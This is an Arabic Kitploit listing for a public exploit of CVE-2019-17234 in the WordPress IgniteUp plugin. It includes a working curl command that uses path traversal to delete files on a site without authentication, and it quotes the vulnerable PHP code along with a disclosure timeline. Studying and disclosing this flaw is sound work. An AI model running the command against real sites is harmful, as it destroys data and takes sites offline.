Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-17234b-Exploit — مكوّن WordPress الإضافي IgniteUp < 3.4.1 يسمح للمستخدمين غير المصادَق عليهم بحذف الملفات بشكل تعسفي على خادم الويب، مما قد يسبب حرمانًا من الخدمة (DoS). | Kitploit
أدوات/GitHubGitHub/administra1tor/cve-2019-17234b-exploit
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubadministra1tor/cve-2019-17234b-exploit

CVE-2019-17234b-Exploit

مكوّن WordPress الإضافي IgniteUp < 3.4.1 يسمح للمستخدمين غير المصادَق عليهم بحذف الملفات بشكل تعسفي على خادم الويب، مما قد يسبب حرمانًا من الخدمة (DoS).

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
منذ 5 سنواتلم تتم المراجعة بعد

ثغرة في إضافة Wordpress IgniteUp

إضافة Wordpress IgniteUp الإصدار 3.4 وما دونه تسمح للمستخدمين غير المصادق عليهم عن بُعد بحذف أي ملف بشكل تعسفي على خادم الويب المستهدف مما قد يسبب هجوم حجب الخدمة (Denial of Service).

الجدول الزمني لـ CVE-2019-17234

تم إبلاغ فريق wordpress.org بالثغرة في 20 سبتمبر 2019 وتم إصدار نسخة جديدة من الإضافة 3.4.1 في 08 نوفمبر 2019.[3]

خلفية

IgniteUp هي إضافة ووردبريس شائعة للقيام بإعداد وإدارة بسيطة لصفحات الهبوط على الموقع لإعلام المستخدمين بأن الموقع قادم قريبًا، أو في وضع الصيانة، أو قيد الإنشاء.

تأتي الإضافة بشكل افتراضي مع 5 قوالب مجانية: believe,cleaner,glass,launcher,offline.

أسماء القوالب موضحة لأن معاملًا صحيحًا [template-name] مطلوب لتنفيذ طلب صالح إلى خادم الويب لاستغلال الثغرة.

كود الاستغلال (curl)

[تحذير]

مثال الأمر التالي قد يكون كافيًا لكسر موقع ووردبريس الخاص بك، وفي هذه الحالة حذف الملفات الأساسية لإضافة IgniteUp.

root@kitploit:~
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php

dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php

[ملاحظة] الأمر أعلاه ينفذ اجتياز الدليل داخل المسار النسبي للإضافة، ومع الأذونات الصحيحة (755 لأدلة خادم الويب و644 لملفات خادم الويب) ومالك الملف (www-data، مستخدم apache وما إلى ذلك) يكون سطح الهجوم محدودًا حتى الدليل الجذر للخادم (مثل /var/www/html).

تحليل كود الثغرة

الدالة المسؤولة عن إدخال هذه الثغرة موضحة أدناه، يمكن العثور على الملف المرجعي في wp-content/plugins/igniteup/includes/class-coming-soon-creator.php، وهو ملف، كما يوحي الاسم، يتعامل مع إنشاء قوالب مخصصة جديدة وحذف القوالب الافتراضية/المنشأة.

V3.4

root@kitploit:~
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
   if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
      return;
   $folder_name = $_POST['delete_template'];
   $path = dirname(CSCS_FILE) . '/includes/templates/';
   array_map('unlink', glob($path . $folder_name . '/*.*'));
   rmdir($path . $folder_name);
   unlink($path . '/' . $folder_name . '.php');
   header('Location: ' . $_SERVER['REQUEST_URI']);
}

admin_init في السطر الأول هو خطاف إجراء (action hook) في ووردبريس. تشكل الخطافات[2] الأساس لتفاعل الإضافات والقوالب مع نواة ووردبريس، ولكنها أيضًا تُستخدم على نطاق واسع من قبل النواة نفسها.

لسوء الحظ، الدالة المرتبطة بخطاف الإجراء، deleteTemplate()، لا تحتوي على أي تحقق من المسؤول/المستخدم، وهي تعطي القارئ تلميحات كافية حول كيفية تنفيذ هذا الإجراء، فبالنظر إلى الكود من السهل ملاحظة معامل POST الخاص بـ PHP delete_template، وهذا بالإضافة إلى خطاف admin_init يُعد معرفة كافية لمحاولة تنفيذ طلب POST إلى خادم الويب عبر واجهة /wp-admin/admin-post.php كما هو موضح في فقرة كود الاستغلال.

[ملاحظة شخصية] عند تحليل السلوك المعتاد للإضافة من منظور مستخدم ووردبريس مسؤول، من الغريب جدًا العثور على هذه الدالة (أفترض أنها بقايا من إصدارات سابقة)، وذلك للأسباب التالية:

  1. لا يتوفر خيار حذف القالب في الإصدار 3.4 من لوحة التحكم، فقط تفعيل/إلغاء تفعيل الإضافة أو "إنشاء" (تنزيل) القوالب المميزة ($$$).
  2. سلوك الكود غير صحيح بشكل أساسي، فدالة unlink() في الظروف العادية لن تنتهي بشكل صحيح أبدًا، لأنه في بناء معامل الدالة، لا ينبغي أن تكون "/" بين $path و $folder_name موجودة، فقد تمت إضافة شرطة مائلة للخلف بالفعل في تعريف المتغير $path.

إليك عينة مما يحدث أثناء unlink عندما أحاول تدمير قالب (DirStroy).

attack.png

المهام المتبقية

اختبار admin-ajax.php مقارنة v3.4.1

المؤلفون

  • Andrea Vignudelli -(https://github.com/administra1tor)

المراجع

  • الشكر لـ Jerome Bruandet على الإبلاغ عن المشكلة.

[المصدر] https://blog.nintechnet.com/multiple-vulnerabilities-in-wordpress-igniteup-coming-soon-and-maintenance-mode-plugin/

[1] سجل التغييرات لـ v3.4.1 - https://it.wordpress.org/plugins/igniteup/#developers

[2] خطافات ووردبريس - https://developer.wordpress.org/plugins/hooks/

[3] مرجع CVE-2019-17234 في NIST - https://nvd.nist.gov/vuln/detail/CVE-2019-17234

تنزيل الأداة